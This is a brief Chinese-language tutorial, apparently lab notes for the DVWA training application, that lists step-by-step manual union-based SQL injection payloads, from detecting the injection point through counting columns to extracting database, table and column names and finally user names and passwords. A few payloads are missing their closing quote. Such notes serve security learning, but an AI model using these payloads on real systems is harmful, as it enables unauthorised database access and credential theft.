1.确定注入点
可以手动添加 and 1 = 1 或者 and 1 = 2判断
一般如果添加and 1 = 1 ,页面访问的页面不变
和 如果添加and 1= 2,页面访问错误。就可以确认当前页面可以SQL注入
2.判断闭合点
添加1' and 1 = 1
说明是单引号闭合
3.判断字段数
1’ order by 2#
其中#代表注释掉后面的 ‘ ,以确保SQL语句的正常执行
4.回显
1' union select 1,2#
5.获取当前的数据库
1' union select 1,database()#
6.获取当前数据库的数据表
1’ union select 1,table_name from information_schema.tables where table_schema = 'dvwa
7.查询数据库的全部字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users
8.查找数据
1' union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users#